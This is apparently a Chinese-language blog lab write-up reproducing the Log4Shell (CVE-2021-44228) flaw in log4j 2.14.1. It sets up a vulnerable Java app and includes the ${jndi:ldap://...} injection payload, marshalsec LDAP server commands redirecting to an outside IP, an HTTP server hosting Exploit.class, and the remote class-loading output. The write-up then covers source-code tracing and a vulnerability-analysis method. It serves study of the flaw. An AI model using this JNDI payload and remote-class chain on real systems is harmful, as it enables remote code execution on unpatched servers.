一、漏洞概述
漏洞名称
Apache Log4j2 Remote Code Execution
CVE编号
CVE-2021-44228
漏洞类型
JNDI Injection
+
Remote Class Loading
+
Remote Code Execution
影响组件
Apache Log4j2 log4j-core
受影响版本:
log4j-core <= 2.14.1
二、漏洞原理
Log4j2 支持 Lookup 表达式:
例如:
${java:version}
Log4j 会解析:
${}
|
v
Lookup
|
v
返回Java版本
但是如果攻击者输入:
${jndi:ldap://attacker/a}
Log4j 会执行:
字符串输入
↓
Log4j表达式解析
↓
JNDI Lookup
↓
访问LDAP服务器
↓
获取远程Java类
↓
ClassLoader加载
↓
执行代码
形成RCE。
三、实验环境
环境
服务器:
Linux
Java:
Java 8
漏洞组件:
log4j-core-2.14.1.jar
log4j-api-2.14.1.jar
辅助工具:
marshalsec
HTTP服务:
python3 http.server
四、实验目录
最终目录:
log4shell-lab
├── vulnerable-app
│
│ ├── App.java
│ ├── App.class
│ ├── Exploit.java
│ ├── Exploit.class
│ ├── lib
│ │
│ └── run.sh
│
├── marshalsec
│
└── http
└── Exploit.class
五、环境搭建过程
1. 初始Docker方案失败
最开始使用:
FROM maven:3.8-openjdk-8
启动:
docker compose up --build
出现:
Get "https://registry-1.docker.io/v2/":
Client.Timeout exceeded
原因:
Docker Hub访问超时。
解决:
放弃Docker Hub依赖方案。
改为:
本机Java
+
本地Jar
+
Maven编译工具
六、创建漏洞Java应用
App.java
代码:
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class App {
private static final Logger logger =
LogManager.getLogger(App.class);
public static void main(String[] args){
String input=args[0];
logger.error(
"User-Agent:"
+input
);
}
}
作用:
模拟:
HTTP Header
|
v
用户输入
|
v
日志记录
七、加载漏洞Log4j版本
使用:
log4j-core-2.14.1.jar
log4j-api-2.14.1.jar
目录:
lib/
├── log4j-core-2.14.1.jar
└── log4j-api-2.14.1.jar
八、编译漏洞程序
错误操作:
第一次执行:
javac \
cp "lib/*" \
App.java
错误:
javac: invalid flag: lib/*
原因:
少写:
-cp
正确:
javac \
-cp "lib/*" \
App.java
生成:
App.class
九、验证Log4j Lookup
测试:
./run.sh hello
结果:
ERROR App - User-Agent:hello
说明:
Log4j运行正常。
测试Lookup:
./run.sh '${java:version}'
结果:
User-Agent:Java version 1.8.0_492
说明:
Log4j Lookup功能开启
十、部署LDAP服务
下载marshalsec
执行:
git clone https://github.com/mbechler/marshalsec.git
进入:
cd marshalsec
Maven编译问题
执行:
mvn clean package -DskipTests
出现:
-bash: mvn: command not found
原因:
系统没有安装Maven。
解决:
安装:
yum install maven -y
重新编译:
mvn clean package -DskipTests
成功:
target/marshalsec-0.0.3-SNAPSHOT-all.jar
十一、启动LDAP Server
执行:
java \
-cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
http://47.123.6.183:8000/#Exploit
启动成功:
Listening on 0.0.0.0:1389
说明:
LDAP监听:
1389端口
十二、创建Exploit类
Exploit.java
内容:
public class Exploit {
static {
System.out.println(
"Log4Shell RCE chain reached!"
);
}
}
编译:
javac Exploit.java
生成:
Exploit.class
十三、启动HTTP服务器
创建目录:
mkdir http
复制:
Exploit.class
进入:
cd http
启动:
python3 -m http.server 8000
结果:
Serving HTTP on 0.0.0.0 port 8000
十四、最终漏洞触发
执行:
./run.sh '${jndi:ldap://127.0.0.1:1389/a}'
十五、成功结果
漏洞程序输出:
Log4Shell RCE chain reached!
LDAP输出:
Send LDAP reference result
redirecting to:
http://47.123.6.183:8000/Exploit.class
HTTP服务器:
收到:
GET /Exploit.class

十六、完整攻击链
攻击Payload
${jndi:ldap://127.0.0.1:1389/a}
|
v
Log4j 2.14.1
|
v
Interpolator解析
|
v
JndiLookup
|
v
InitialContext.lookup()
|
v
LDAP Server
|
v
返回Exploit.class地址
|
v
HTTP下载class
|
v
ClassLoader加载
|
v
执行static代码块
|
v
RCE成功
十七、源码分析路线
重点文件:
log4j-core
org/apache/logging/log4j/core/lookup/JndiLookup.java
核心:
public String lookup(
LogEvent event,
String key
){
return jndiManager.lookup(key);
}
调用链:
Logger.error()
↓
Interpolator
↓
JndiLookup
↓
JndiManager
↓
InitialContext.lookup()
↓
LDAP
十八、CVE漏洞分析方法总结
以后分析类似漏洞:
1. 找输入点
例如:
HTTP参数
Header
Cookie
文件
消息
日志
2. 找危险函数
例如:
lookup()
eval()
deserialize()
loadClass()
execute()
3. 跟踪数据流
用户输入
↓
处理函数
↓
危险API
↓
系统影响
4. 判断漏洞等级
例如:
信息泄露
↓
权限提升
↓
命令执行
↓
远程代码执行
十九、实验总结
本次完成:
✅ 搭建Log4j漏洞环境
✅ 使用Log4j 2.14.1复现
✅ 验证Lookup解析
✅ 部署LDAP服务
✅ 部署HTTP Class服务器
✅ 完成远程类加载
✅ 验证代码执行
核心理解:
Log4Shell本质:
不可信输入
+
危险表达式解析
+
远程资源加载
=
远程代码执行
这也是CVE漏洞分析中:
输入点分析
+
数据流追踪
+
危险Sink定位
+
利用链构造
的经典案例。
docker-compose
回到根目录:
cd ..
创建:
vim docker-compose.yml
内容:
version: "3"
services:
vulnerable:
build:
./vulnerable-app
container_name:
log4j-victim
ldap:
image:
marcoslin/java8
container_name:
ldap-server
复现&spm=1001.2101.3001.5002&articleId=162943503&d=1&t=3&u=dab69e2537a3453095b0af19aaf91daa)
3738

被折叠的 条评论
为什么被折叠?



